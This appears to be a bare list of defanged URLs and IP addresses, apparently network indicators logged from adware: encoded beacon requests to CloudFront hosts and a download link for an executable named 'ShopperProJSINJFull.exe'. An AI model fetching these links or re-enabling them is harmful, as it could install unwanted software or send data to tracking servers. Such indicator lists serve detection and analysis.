/v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMSNngOvjpV1AJRbnguo3YM4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhSKuq a9voh/XKNbNNj7X1sHDaYdBKVUtUGTcbtYH5m8riJiRRXTrzzEIg0SEo7WoPYvtkTH5Sv0Tmdm1Iu 6kR8nL0NYvUnweS3GO1 lt7m2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFWfTQ4uNlwZxoslvaOLlV6m3Eqg1BxGkGLpn197AUjxVjxtpfXNVbFRGZp3J2MN0PrPHVvofh aNpAyCQVYuHT Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=8&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TWY3dherMzfZgTxIUcsgQ w1aDoZZJn92CDI/3HfRBflettI4rTin8a9YQa1M1ixNx7mILDVVJ2RzPCHr6QGZkCBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFqFA/WB2TZ7tmyhLgvMFEGq2e8t8Sq5T094khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFbXdSsqAvwtCkrgD0XFzVh1CA40OKD14vfdZNyqAbpxbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdva2hNibsqR5hXAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ76MAwoThEpYr
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TX gjKfKdz3qbVx0ChS3xYkKYX3Ti/i3YM8Lp0Bjzny5rNm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4Ixuv1xakTxHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSp2RYIisGWDvAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ78IhYs2ekz18XS/G3EQZqX35gOZQe8Bii2ujEYXsRT5LT/P10voOXfCrT39xpLKqCAv9dYcKEPERceLsPpRf2XJTOcV86CMfT9l6973LliaHNh3QJEALW3SR5Cft02qMYJ4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLx31fTgrR12XzvJgd3LZiESBQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLx31fTgrR12XzVvyxRqdR3TdCUHeR8YCF3QAZhbXYiXtH9Bj8FzO5AzfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDFmYI5EK 8ZVnoY0sWBvzp/bnwo1KLijIoXsXR5B39MKyjDBuaR92I=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLxk0XByrlXk6X5kdX02CrPjRD4NsK07Wi5s IILilpWF0zwh6 kBmZAgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig==
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIltPikZQYOt/VMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/t.ashx?e=AZwPyJy3TZiu PbZ6jHEZsxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fCNlNxI8BU1c4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	54.192.47.56
hxxp://d2otsfra4otprh.cloudfront.net/install.ashx?e=QgW8pN5r26bb6pdPc5QXF2lBVeUjsyYpyaqF0veJYHon W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckP8dq552dZsrwGFvUtDb7RNdRX99ungVCjNg1jqLOYCUz1UWutdjAgqFU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPSZXO/B5hurhZv/JHT1RY7R a ue4NirQ3gfl7hBIS3pgZBHEXsyNbWynD/t/TSE8Wn2VgKtPO51I40lT/WTyfv3JjghBZswHrbrZPJWMRqeUQXQxZXIGTUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XcxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi	54.230.47.163
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pHw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ 2413TZ3pBzZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.192.47.56
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=LCnUzM5l8JJqYAUAeKhUK4D1kQKaUTW/7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUxRuA9/MBnbNSM0isR26F8c7K4ihqKSxe0jgb6v7cXpPuNe8em1vi5Zxi6nXHFmzl4UJIhz0JUpzEfEpjPND7Tv1lymoxCnxIEnEAdgXVAYeXdtg3DWeb/mmKMbeBEZouFREvhRSclP1rG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Sm86iO74s2DaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9Ao/5kNNwq9o
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=LCnUzM5l8JJqYAUAeKhUK4D1kQKaUTW/7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUxRuA9/MBnbNSFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPsUWb2bd g uW/S2k8Fb1dnjw/7DaCn3p8R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGaby0ljeLb8jYmlyZEPVghB7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Mtl rzV01dnjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx/2JYUXYGr9YA==
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZR0qbfRkh1l0EPUrOSlnidUd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNsLyJ aniWV2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjnisgFVrwdvblBb58xFAMOt6D9UJmzeHXJOIAnSEbDsx0eh4F9DwOExoWNAP4OWMIxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZSXHFdCYmCgFwTxIUcsgQ wwCZLjKPQ6Z6hVaWFI 9Gui2BiJRR6OEh94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3Mu6QVkhmBNubY4G r 3F6T7ABG3Yhoda6vFX/vPL/gxF8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g=	54.192.47.56
hxxp://0zkd4qqp4om-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjgJHDf/u7xkQoETtCpwnRwjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29raE2JuypHmFcB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvowDChOESlis=	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjXMxgqnmmqSQoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjzdiNKneBtxMbw23K9mQlgxQC drCF7eFKCrVyEloleJRxtw Ud1eTtGv 8p9Zv7Rndz90qskgG9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7d WGXQANOND	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3MvAhSGeG7OvN9JDpDz//pXKODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E9NWyUH5fcWODaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9FESmXNcHmbB94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjGxrTqW15vZCY3rFz7xHa/LPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsZ3d0Bo9MYSMvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObMZm 8qxpeoo=	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjn14WGxPVpt4rhVLDNrJQC44G r 3F6T77w1D5Xws0XapQUt9ysv/LeITGL7aiC8Hk2dyYR17VYOC5WBoetiu1eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo=	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjk0XByrlXk6UsXzCYJGHkaymF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M=	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=hNMAVKhukrwSbACHvkgz8cxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=AZwPyJy3TZihee7pGMSR6WixDL7TvdeX/grZOB60hz54E7mrr1h80v8gl1CzC7piUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob8PRD2wFYfQnRkoi1eHNkKrrXIxNf6X/p8Dnb/eih wEMOMPw026TAYAhwsRGINrugZP44vApXzbXUzDoEq0zofZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 3flhl0ADTjQw==	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=HW4rWVRtARiyUxg71rJbZjvkj3L/PNVa1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lXkiVCkpcmtxTi1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsXwF8xC533FcNLVXkHqu5mvqdIulg hEfdcOs/PoB3/p1QHs3X92ilHXt7qcDfFhJwTxIUcsgQ wMnmKw3amnGsFR75 TIbsOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M=	54.192.47.56
